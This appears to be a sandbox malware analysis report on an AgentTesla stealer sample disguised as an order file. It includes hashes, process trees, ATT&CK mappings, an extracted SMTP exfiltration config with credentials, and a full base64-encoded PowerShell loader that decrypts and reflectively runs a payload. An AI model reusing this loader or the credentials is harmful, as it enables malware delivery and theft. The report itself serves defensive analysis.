agenttesla | b38b57bd45b655389941d0730e86e6092b7e8b90d4362be15eba54ba8115e826

General

Target

order KHLN2024011801.exe
Size

945KB
MD5

05a11109178bfa121c9809eb376a7f05
SHA1

336c4c6e5ac8b4f5c7bf0078fd60591dc99c7eee
SHA256

b38b57bd45b655389941d0730e86e6092b7e8b90d4362be15eba54ba8115e826
SHA512

03317577d4015c8e8c96e46ee0d8efe185787c1f2ca450e040e54218b7168048fc72f1e73c4acbc0431bc662c144cf15d60209c710d0d2ac64c812dbf4cef94d
SSDEEP

12288:sthlOddH0IyXDvjhOLEl/1LvMj/2EcZt8kcAugZHY9gLg6bFScqo9RA1+scUMzrA:stbIyTFaWUcn8/AuM0oCRcjrjs

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.ar-lupum.com
Port:
587
Username:
[email protected]
Password:
UvRjG%@@7
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YZbrmyt = "C:\\Users\\Admin\\AppData\\Roaming\\YZbrmyt\\YZbrmyt.exe"	msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 4184	3064	powershell.exe	98

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
4184	msbuild.exe
4184	msbuild.exe
4184	msbuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	4184	msbuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4184	msbuild.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 3064	4372	order KHLN2024011801.exe	84
PID 4372 wrote to memory of 3064	4372	order KHLN2024011801.exe	84
PID 3064 wrote to memory of 4588	3064	powershell.exe	97
PID 3064 wrote to memory of 4588	3064	powershell.exe	97
PID 3064 wrote to memory of 4588	3064	powershell.exe	97
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 4184	3064	powershell.exe	98
PID 3064 wrote to memory of 5092	3064	powershell.exe	99
PID 3064 wrote to memory of 5092	3064	powershell.exe	99
PID 3064 wrote to memory of 5092	3064	powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\order KHLN2024011801.exe
"C:\Users\Admin\AppData\Local\Temp\order KHLN2024011801.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3AEIALAAgADAAeAAwAEUALAAgADAAeABFAEMALAAgADAAeAA3ADIALAAgADAAeAA4ADAALAAgADAAeABDADcALAAgADAAeABDAEUALAAgADAAeAAzAEEALAAgADAAeABCAEYALAAgADAAeABDAEIALAAgADAAeABEAEIALAAgADAAeAA4ADcALAAgADAAeAA3ADkALAAgADAAeAAxAEQALAAgADAAeABEADUALAAgADAAeAA4AEUALAAgADAAeABFADUALAAgADAAeAAzADkALAAgADAAeABBADMALAAgADAAeAA3ADAALAAgADAAeAAyAEEALAAgADAAeAA1AEQALAAgADAAeABFADEALAAgADAAeAAzAEEALAAgADAAeABDADUALAAgADAAeAA0ADUALAAgADAAeABGADYALAAgADAAeABCADcALAAgADAAeABGADEALAAgADAAeAA5ADYALAAgADAAeABGAEQALAAgADAAeAA3AEEAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEIARgAsACAAMAB4ADQARQAsACAAMAB4ADcANgAsACAAMAB4ADUAMAAsACAAMAB4ADAANQAsACAAMAB4ADMAOAAsACAAMAB4AEIAMgAsACAAMAB4ADQAQwAsACAAMAB4ADAARQAsACAAMAB4ADcANAAsACAAMAB4ADEAOQAsACAAMAB4ADkANgAsACAAMAB4ADMAQgAsACAAMAB4AEIAQQAsACAAMAB4ADIANQAsACAAMAB4AEMARgApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:4588
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4184
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    PID:5092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i022eypu.4sp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-24549.putik

Filesize
21KB

MD5
f298985ee6fdf4468631bc50feae3817

SHA1
19b6d9f674d138d72b61458715747ccac04f2a3f

SHA256
8747c06c910c466e552c8c30bed77835282b92ba94c8d02841c0e5c6044dde00

SHA512
9c059453dd1308041cf35a267620e28236bb48c0dac5777d575b901a584730dac92576c934f88895727b23a26a523e39d77431d0ef2a554d1cd3fd5e6c10d51f

Download Submit
memory/3064-22-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/3064-7-0x0000024BDE970000-0x0000024BDE992000-memory.dmp

Filesize
136KB

Download
memory/3064-12-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/3064-13-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/3064-15-0x0000024BDE940000-0x0000024BDE94A000-memory.dmp

Filesize
40KB

Download
memory/3064-16-0x0000024BDF810000-0x0000024BDF8A4000-memory.dmp

Filesize
592KB

Download
memory/3064-1-0x00007FF8C0683000-0x00007FF8C0685000-memory.dmp

Filesize
8KB

Download
memory/4184-17-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4184-19-0x00000000058D0000-0x0000000005E74000-memory.dmp

Filesize
5.6MB

Download
memory/4184-20-0x00000000051A0000-0x0000000005206000-memory.dmp

Filesize
408KB

Download
memory/4184-21-0x0000000074760000-0x0000000074F10000-memory.dmp

Filesize
7.7MB

Download
memory/4184-18-0x000000007476E000-0x000000007476F000-memory.dmp

Filesize
4KB

Download
memory/4184-24-0x0000000005FD0000-0x0000000006020000-memory.dmp

Filesize
320KB

Download
memory/4184-25-0x0000000006100000-0x0000000006192000-memory.dmp

Filesize
584KB

Download
memory/4184-26-0x0000000006090000-0x000000000609A000-memory.dmp

Filesize
40KB

Download
memory/4184-27-0x000000007476E000-0x000000007476F000-memory.dmp

Filesize
4KB

Download
memory/4184-28-0x0000000074760000-0x0000000074F10000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads